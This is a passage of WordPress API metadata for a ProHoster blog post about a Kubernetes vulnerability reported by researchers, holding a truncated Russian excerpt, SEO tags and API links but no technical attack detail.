\u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c \u0443 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432 \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439. \u0417\u0430 \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0449\u0435\u0434\u0440\u043e \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0434\u0438\u043b\u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439. \u041a\u0442\u043e \u043c\u044b \u0442\u0430\u043a\u0438\u0435 \u041c\u044b \u2014 \u0434\u0432\u0430 \u0444\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u0438\u0445 [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":86624,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[688],"tags":[],"class_list":["post-86623","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-administrirovanie"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.2 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u041f\u0440\u0438\u043c.\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/es\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes\" \/>\n\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.2\" \/>\n\t\t<meta property=\"og:locale\" content=\"es_ES\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47\u041a\u043e\u0433\u0434\u0430 \u0434\u0435\u043b\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Kubernetes\u2026 | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"\u041f\u0440\u0438\u043c.\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/es\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2020-06-27T17:42:40+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2020-06-27T17:42:40+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47Cuando no se trata solo de una vulnerabilidad en Kubernetes\u2026 | ProHoster","description":"Ej.","canonical_url":"https:\/\/prohoster.info\/es\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"es_ES","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041a\u043e\u0433\u0434\u0430 \u0434\u0435\u043b\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Kubernetes\u2026 | ProHoster","og:description":"\u041f\u0440\u0438\u043c.","og:url":"https:\/\/prohoster.info\/es\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2020-06-27T17:42:40+00:00","article:modified_time":"2020-06-27T17:42:40+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"86623","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-02-28 14:11:05","updated":"2022-09-28 21:18:58","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/es\/wp-json\/wp\/v2\/posts\/86623","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/es\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/es\/wp-json\/wp\/v2\/comments?post=86623"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/es\/wp-json\/wp\/v2\/posts\/86623\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/es\/wp-json\/wp\/v2\/media\/86624"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/es\/wp-json\/wp\/v2\/media?parent=86623"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/es\/wp-json\/wp\/v2\/categories?post=86623"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/es\/wp-json\/wp\/v2\/tags?post=86623"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}